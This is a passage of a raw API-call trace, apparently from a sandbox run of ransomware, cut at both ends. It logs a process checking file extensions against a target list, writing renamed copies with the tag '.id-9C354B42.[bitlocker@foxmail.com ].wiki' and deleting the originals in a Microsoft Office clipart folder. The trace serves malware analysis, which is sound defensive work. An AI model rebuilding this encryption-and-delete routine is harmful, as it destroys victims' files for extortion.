Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.584] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf")) returned 1 [0188.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0188.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0188.584] lstrlenW (lpString=".doc") returned 4 [0188.584] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.584] lstrlenW (lpString=".docx") returned 5 [0188.584] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.584] lstrlenW (lpString=".pdf") returned 4 [0188.584] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.584] lstrlenW (lpString=".xls") returned 4 [0188.584] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.584] lstrlenW (lpString=".xlsx") returned 5 [0188.584] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.732] lstrlenW (lpString=".ppt") returned 4 [0188.732] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0188.732] lstrlenW (lpString=".zip") returned 4 [0188.732] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.732] lstrlenW (lpString=".rar") returned 4 [0188.732] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.732] lstrlenW (lpString=".bz2") returned 4 [0188.732] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.733] lstrlenW (lpString=".7z") returned 3 [0188.733] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0188.733] lstrlenW (lpString=".dbf") returned 4 [0188.733] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0188.733] lstrlenW (lpString=".1cd") returned 4 [0188.733] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0188.733] lstrlenW (lpString=".jpg") returned 4 [0188.733] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0188.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0188.733] lstrlenW (lpString=".doc") returned 4 [0188.733] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.733] lstrlenW (lpString=".docx") returned 5 [0188.733] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.733] lstrlenW (lpString=".pdf") returned 4 [0188.733] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.733] lstrlenW (lpString=".xls") returned 4 [0188.733] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.733] lstrlenW (lpString=".xlsx") returned 5 [0188.733] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.733] lstrlenW (lpString=".ppt") returned 4 [0188.733] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0188.733] lstrlenW (lpString=".zip") returned 4 [0188.733] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.733] lstrlenW (lpString=".rar") returned 4 [0188.733] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.733] lstrlenW (lpString=".bz2") returned 4 [0188.733] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.733] lstrlenW (lpString=".7z") returned 3 [0188.734] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0188.734] lstrlenW (lpString=".dbf") returned 4 [0188.734] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0188.734] lstrlenW (lpString=".1cd") returned 4 [0188.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0188.734] lstrlenW (lpString=".jpg") returned 4 [0188.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.734] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.734] lstrlenW (lpString="FD00435_.WMF") returned 12 [0188.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0188.801] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=2108) returned 1 [0188.801] CloseHandle (hObject=0x1f8) returned 1 [0188.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf")) returned 0x20 [0188.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0188.801] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.801] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0188.802] GetLastError () returned 0x0 [0188.802] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x83c, lpOverlapped=0x0) returned 1 [0188.803] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x840, lpOverlapped=0x0) returned 1 [0188.804] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0188.804] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.804] SetEndOfFile (hFile=0x1f4) returned 1 [0188.804] CloseHandle (hObject=0x1f4) returned 1 [0188.804] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.805] SetEndOfFile (hFile=0x1f8) returned 1 [0188.805] CloseHandle (hObject=0x1f8) returned 1 [0188.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.805] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf")) returned 1 [0188.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0188.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0188.806] lstrlenW (lpString=".doc") returned 4 [0188.806] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.806] lstrlenW (lpString=".docx") returned 5 [0188.806] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.806] lstrlenW (lpString=".pdf") returned 4 [0188.806] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.806] lstrlenW (lpString=".xls") returned 4 [0188.806] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.806] lstrlenW (lpString=".xlsx") returned 5 [0188.806] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.806] lstrlenW (lpString=".ppt") returned 4 [0188.806] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0188.806] lstrlenW (lpString=".zip") returned 4 [0188.806] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.806] lstrlenW (lpString=".rar") returned 4 [0188.806] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.806] lstrlenW (lpString=".bz2") returned 4 [0188.806] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.806] lstrlenW (lpString=".7z") returned 3 [0188.806] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0188.806] lstrlenW (lpString=".dbf") returned 4 [0188.806] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0188.806] lstrlenW (lpString=".1cd") returned 4 [0188.806] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0188.807] lstrlenW (lpString=".jpg") returned 4 [0188.807] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0188.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0188.807] lstrlenW (lpString=".doc") returned 4 [0188.807] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.807] lstrlenW (lpString=".docx") returned 5 [0188.807] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.807] lstrlenW (lpString=".pdf") returned 4 [0188.807] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.807] lstrlenW (lpString=".xls") returned 4 [0188.807] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.807] lstrlenW (lpString=".xlsx") returned 5 [0188.807] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.807] lstrlenW (lpString=".ppt") returned 4 [0188.807] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0188.807] lstrlenW (lpString=".zip") returned 4 [0188.807] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.807] lstrlenW (lpString=".rar") returned 4 [0188.807] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.807] lstrlenW (lpString=".bz2") returned 4 [0188.807] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.807] lstrlenW (lpString=".7z") returned 3 [0188.807] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0188.807] lstrlenW (lpString=".dbf") returned 4 [0188.807] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0188.808] lstrlenW (lpString=".1cd") returned 4 [0188.808] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0188.808] lstrlenW (lpString=".jpg") returned 4 [0188.808] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.808] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.808] lstrlenW (lpString="FD00455_.WMF") returned 12 [0188.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0188.808] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=8926) returned 1 [0188.808] CloseHandle (hObject=0x1f8) returned 1 [0188.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf")) returned 0x20 [0188.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0188.810] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.810] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0188.810] GetLastError () returned 0x0 [0188.810] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x22de, lpOverlapped=0x0) returned 1 [0188.812] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x22e0, lpOverlapped=0x0) returned 1 [0188.813] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0188.813] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.813] SetEndOfFile (hFile=0x1f4) returned 1 [0188.813] CloseHandle (hObject=0x1f4) returned 1 [0188.813] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.813] SetEndOfFile (hFile=0x1f8) returned 1 [0188.814] CloseHandle (hObject=0x1f8) returned 1 [0188.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.814] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf")) returned 1 [0188.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0188.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0188.814] lstrlenW (lpString=".doc") returned 4 [0188.814] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.815] lstrlenW (lpString=".docx") returned 5 [0188.815] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.815] lstrlenW (lpString=".pdf") returned 4 [0188.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.815] lstrlenW (lpString=".xls") returned 4 [0188.815] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.815] lstrlenW (lpString=".xlsx") returned 5 [0188.815] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.815] lstrlenW (lpString=".ppt") returned 4 [0188.815] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0188.815] lstrlenW (lpString=".zip") returned 4 [0188.815] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.815] lstrlenW (lpString=".rar") returned 4 [0188.815] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.815] lstrlenW (lpString=".bz2") returned 4 [0188.815] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.815] lstrlenW (lpString=".7z") returned 3 [0188.815] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0188.815] lstrlenW (lpString=".dbf") returned 4 [0188.815] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0188.815] lstrlenW (lpString=".1cd") returned 4 [0188.815] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0188.815] lstrlenW (lpString=".jpg") returned 4 [0188.815] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0188.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0188.816] lstrlenW (lpString=".doc") returned 4 [0188.816] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.816] lstrlenW (lpString=".docx") returned 5 [0188.816] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.816] lstrlenW (lpString=".pdf") returned 4 [0188.816] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.816] lstrlenW (lpString=".xls") returned 4 [0188.816] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.816] lstrlenW (lpString=".xlsx") returned 5 [0188.816] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.816] lstrlenW (lpString=".ppt") returned 4 [0188.816] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0188.816] lstrlenW (lpString=".zip") returned 4 [0188.816] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.816] lstrlenW (lpString=".rar") returned 4 [0188.816] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.816] lstrlenW (lpString=".bz2") returned 4 [0188.816] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.816] lstrlenW (lpString=".7z") returned 3 [0188.816] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0188.816] lstrlenW (lpString=".dbf") returned 4 [0188.816] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0188.816] lstrlenW (lpString=".1cd") returned 4 [0188.816] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0188.816] lstrlenW (lpString=".jpg") returned 4 [0188.816] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.817] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.817] lstrlenW (lpString="FD00459_.WMF") returned 12 [0188.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0188.817] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=17406) returned 1 [0188.817] CloseHandle (hObject=0x1f8) returned 1 [0188.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf")) returned 0x20 [0188.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0188.817] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.817] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0188.818] GetLastError () returned 0x0 [0188.818] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x43fe, lpOverlapped=0x0) returned 1 [0188.820] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x4400, lpOverlapped=0x0) returned 1 [0188.821] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0188.821] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.821] SetEndOfFile (hFile=0x1f4) returned 1 [0188.821] CloseHandle (hObject=0x1f4) returned 1 [0188.821] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.821] SetEndOfFile (hFile=0x1f8) returned 1 [0188.822] CloseHandle (hObject=0x1f8) returned 1 [0188.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.822] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf")) returned 1 [0188.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0188.823] lstrlenW (lpString="C:\\Program 